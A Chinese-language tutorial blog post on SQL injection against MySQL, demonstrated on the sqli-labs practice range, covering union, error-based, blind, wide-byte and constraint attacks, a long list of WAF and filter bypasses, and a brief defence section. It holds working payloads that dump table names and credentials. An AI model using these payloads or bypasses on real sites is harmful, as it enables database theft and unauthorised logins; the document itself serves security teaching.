SQL注入的原理、绕过、防御

码农公社  210.net.cn   210是何含义?10月24日是程序员节,1024 = 210、210既 210 之意。

首先了解下Mysql表结构

mysql内置的information_schema数据库中有三个表非常重要

1 schemata:表里包含所有数据库的名字

2 tables:表里包含数据库的所有表,默认字段为table_name

3 columns:三个列非常重要

    TABLE_SCHEMA:数据库名

    TABLE_NAME:表名

    COLUMN_NAME:字段名


SQL注入原理:

web应用没有对用户输入的数据进行严格校验,

导致攻击者可以在输入的数据中构造恶意SQL语句获取后台敏感信息.

1.png

分类:

按注入的位置可分为

  GET类型注入

  POST型注入

  HTTP头部注入

常见的攻击思路及手法:

基本思路:

第一步:我们输入的数据,也就是可控参数的改变能不能影响页面显示结果.

第二步:能否让数据库产生报错.例如简单的添加一个单引号看页面是否有数据库爆错信息

第三步:能否不让数据库产生报错.也就是将我们的sql语句跟后台的sql语句成功闭合并且被成功的执行.

攻击手法:

演示环境为php+Apache+mysql,靶场为sqli-labs

(1)联合注入:

例题为less-1,加单引号后发现报错,根据报错信息

1.jpg

猜测后台语句为SELECT username,password FROM users where id='1' LIMIT 0,1;

而我们输入的1'导致where后面的筛选条件变为了id='1'',所以出现语法错误,

这个时候就需要注释掉后面的语句比如输入1‘#发现页面正常显示

1.jpg

这个时候后台实际执行时就变成了SELECT username,password FROM users where id='1‘;

因为我们#已经把后面的' LIMIT 0,1;注释掉了,这样我们就可以拼接语句

order by判断查询的字段数:?id=1'order by 4# 报错,order by 3正常返回

构造payload:

  爆表名:?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

  爆字段名:?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

  爆字段值:?id=-1'union select 1,group_concat(concat_ws(":",username,password)),3 from users%23

(2)报错注入:

首先要了解两个函数

  ①extractvalue():从目标XML中返回包含所查询值的字符串

  extractvalue()(XML_document,XPath_String);

  从第一参数的文档里查找有没有第二个参数(字符串)

  ②UPDATAXML(XML_document,XPath_string,new_value)查找并且替换

  参数含义:

  new_value,String格式,替换查找到的符合条件的数据

  XML_document:String格式的XML文档对象的名字

  XPath_String:Xpath格式的字符串

利用方法:

1.将extractvalue(1,2号位)函数作为查询字段,在2号位用concat()函数拼接字符串

由于报错信息太少,concat函数第一个参数用十六进制0x7e也就是~代替,

第二个参数就是具体要查询的敏感内容

2.将updataxml(1,2号位,3)函数作为查询字段,在2号位用concat()函数拼接字符串

由于报错信息太少,concat函数第一个参数用十六进制0x7e也就是~代替,

第二个参数就是具体要查询的敏感内容

Less11的payload:

uname=1'UNION SELECT 1,extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username LIKE 'admin' limit 0,1)))  %23&passwd=&submit=Submit

(3)盲注:

所谓盲注就是我们在测试有无注入点的时候,看不到数据库的报错信息,也看不到数据库

的回显信息,只能通过页面状态的变化,来判断是否存在注入

布尔盲注:例如less5中构造?id=1' or 1=0%23 页面正常返回you are in,但当id改为=-1时,or前后条件都为假,页面返回空,判断存在布尔类型盲注

构造payload逐步爆破表名

http://127.0.0.1/sqli/less-5/?id=-1' or (SELECT ascii(substr(table_name,1,1)) 

FROM information_schema.tables

WHERE table_schema = database() limit 0,1)=101 %23

时间盲注:

可以通过返回服务器返回数据的时间判断页面是否执行了我们的代码

涉及到的函数 sleep(),benchmark()

if(1,sleep(),0)

在1处拼接sql语句 ascii(substr((SELECT FROM),1,1))>1

(4)宽字节注入:

宽字节注入是利用MySQL的一个特性,

宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的符号吃掉

,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

GBK编码一个字符占两个字节

ASCII站一个字符占用一个字节

PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节

字符集

利用方法简单点就是在被过滤的符号前加上%81等

比如

less32 payload:

?id=0%81' union select 1,user(),version() %23

(5)约束攻击:

原理:对于insert语句 SQL会根据varchar(n)来限制字符串的最大长度

例如:user字段约束为varchar(5)

所以 'admin                123','admin'在insert的时候插入的值是一样的都是截取前5个字符

而对于select语句来说两者不一样

select会原封不动的查询有没有匹配'admin          123'的数据

这就造成如果

数据库的表中如果有字段值为admin,

我们注册用户名'admin   123'

sql会先执行select语句查询表中对应字段值有没有为'admin   123'的,

当然是没有,然后插入,由于只能插入前5个字符,所以表中对应字段就多了一个

值为admin,造成任意登录


SQL注入常见绕过:

注释可以用#,--+,-- -

过滤关键字:大小写绕过SelEct,双写绕过selselectect,内联注释绕过/*!select*/

特殊编码绕过:十六进制,ASCII编码,unicode编码,hex编码

过滤空格:

    %09 TAB键(水平)

    %0a 新建一行

    %0c 新的一页

    %0d return 功能

    %0b TAB(垂直)

    %a0 空格

    %0a 回车(url编码)

    /**/ 代替空格

    ()包裹关键字

过滤or and xor not: || && | !代替

过滤等号=:like代替,rlike,regexp,0<id>1,!(id<>1)

过滤大于号,小于号:

greatest(n1,n2,n3)返回n中最大值,least(n1,n2,n3)最小

strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,

第一个参数小于第二个,则返回 -1,其它情况返回 1

in关键字: where id = 1 and substr(username,1,1) in ('t')

between关键字

过滤逗号绕过:

substr("string"from 1 for 3)

join关键字:

select * from users union select * from (select 1)a join (select 2)b join(select 3)c

等价于union select 1,2,3

like:关键字:select user() like"t%"

offset关键字:limit 2,1 等价于limit 1 offset 2

过滤函数绕过:

1)sleep() -->benchmark()

BENCHMARK()函数可以测试某些特定操作的执行速度。 

参数可以是需要执行的次数和表达式。

第一个参数是执行次数,第二个执行的表达式

select 1,2 and benchmark(1000000000,1)

2)ascii()?>hex()、bin(),替代之后再使用对应的进制转string即可

3)group_concat()?>concat_ws(),第一个参数为分隔符 

eg:mysql> select concat_ws(",","str1","str2")

4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()

5)user() --> @@user、datadir?>@@datadir

6)ord()?>ascii():这两个函数在处理英文时效果一样,但是处理中文的时候不一致。


缓冲区溢出用于对付WAF,因为有不少WAF是C语言写的,

而C语言自身没有缓冲区保护机制,

因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

payoad:?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,

一般来说对应用软件构成缓冲区溢出都需要较大的测试长度

这里1000只做参考,在某些情况下可能不需要这么长也能溢出


防御措施:

代码层:

    黑名单:不允许哪些关键字查询

    白名单:允许哪些关键字查询

    敏感字符过滤:' " @ --+ -- )  #等

    使用框架安全查询:一些持久层框架

    规范输出:不要输出报错信息,代码信息,

配置层

    开启GPC:比如在PHP里开启GPC,自动过滤一些通用字符

    使用UTF-8:因为GBK会产生宽字节注入

物理层

    WAF:web应用防火墙,缺点是可绕过,可被0day攻击,但是网站还是得有,

因为它是最基本的防御措施。

    数据库审计:对业务查询代码进行审计

    云防护:跟waf基本没啥区别,就是把客户端输入的参数给过滤一遍发给服务器

    IPS(入侵防御系统)


评论